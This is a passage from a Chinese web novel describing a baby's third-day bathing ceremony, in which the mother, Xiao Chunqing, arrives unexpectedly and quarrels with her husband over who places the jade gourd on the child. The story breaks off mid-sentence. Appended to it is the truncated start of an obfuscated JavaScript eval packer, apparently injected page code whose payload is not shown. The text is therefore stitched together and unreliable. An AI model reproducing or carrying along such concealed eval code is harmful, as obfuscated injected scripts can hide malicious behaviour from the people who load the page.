略一沉吟,聂兰台对翠鸟低语几句,翠鸟点点头,不动声色地退下了。
洗三礼要用的物品均已布置妥当,除了赤金盆、玉杵、金银锞子等物,还有装在长腰细颈琉璃瓶中的清泉水,荔枝、红枣、花生、莲子等喜果,另有许多聂兰台叫不上名字的东西,五花八门地摆了满案。
乳娘抱着孩子走到案前,盛国公夫妇就笑呵呵地走过来,带头添盆。
夫妇俩添的是金锞子和四样喜果,随后是谢家二房的长辈,添的是银锞子和红艳艳的荔枝。
这添盆一步是依尊卑长幼之序进行的,聂兰台虽是孩子的舅母,但她年轻,身份也不高,自然往后靠了。
添盆完后,便是响盆。
盛国公夫人手持玉杵,轻轻地往盆里边搅边敲。
她脸上笑吟吟的,浑身散发着慈爱温柔的光芒,那“生活美满,前程似锦”的祝祷不必说出口,众人也能感受到她对孩子发自肺腑的祝福和期盼,又想一想她家世富贵,儿孙满堂,无人不暗暗羡慕。
盛国公夫人放下玉杵后,收生嬷嬷便上前接过孩子,解开孩子襁褓,这才是真正要洗了。
洗毕,收生嬷嬷手脚麻利地给孩子换新的襁褓。
这时门口起了一点骚动,聂兰台循声望去,竟是萧淳庆来了。
月子里的母亲,一般不会参加孩子的洗三礼,毕竟产后体弱,应当好生歇息,不宜劳累,亦且产妇在月子里无心打扮,形象邋遢,也多不喜见外客。
萧淳庆的到来让众人都吃了一惊,满室的笑语喧嚣立时一静,谢渊白的声音就格外清晰而突兀地响了起来:“庆娘,你来干什么?”
萧淳庆没有看他,淡然道:“这是我孩儿的洗三礼,我来观礼,有何不可?”
她的语气疏离而冷淡,神色也有几分冷峻。
聂兰台微微诧异,转念想到,可能是她恼怒吴氏和柯氏,但又不能对她们发作,因而迁怒谢渊白吧。
看得出她来之前精心妆扮过,脸上敷了粉,唇上也抹了胭脂,头发绾成精神抖擞的如意高髻,两鬓边各缀了一溜红玉联花饰带,中间一枚赤金五凤朝阳衔珠大钗,穿着能衬出好气色的皮粉色绣大朵浅红海棠的斜襟褙子和杏白色襕边裙,整个人美丽温婉,任谁见了也不会想到她是一个才生下孩子三天的产妇。
一个姜家的媳妇快步走过去挽了她胳膊,笑道:“妹妹来瞧瞧正好,你这孩儿可乖了,大伙都赞不绝口呢!”
萧淳庆缓缓上前,目光落到刚换好新襁褓的孩子身上,神色立即变得柔和安详。
这时盛国公接过孩子,象征性地在孩子身上拍打了一下,又把孩子高高举到头顶,笑道:“老四媳妇,你这个娃娃像个秤砣似的,重得很哪,我喜欢!”
萧淳庆恭敬道:“多谢父亲。”
盛国公放下孩子,谢渊白连忙伸手去接,萧淳庆却抢先一步,将孩子接了过来。
谢渊白皱眉道:“庆娘,该由我给孩子戴玉葫芦了。”
洗三礼的最后一步,亦即“福禄安康”,由长辈为孩子佩戴玉葫芦,寓意福禄安康,一般是由孩子的父亲来做的。
萧淳庆却不把孩子给他,冷声道:“我来!”
谢渊白道:“庆娘别闹!历来都是当父亲的来做这个,哪有孩子母亲做的。”
盛国公面上已有尴尬之色,但他自不好在众客人面前偏袒自己儿子,便劝谢渊白:“她是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''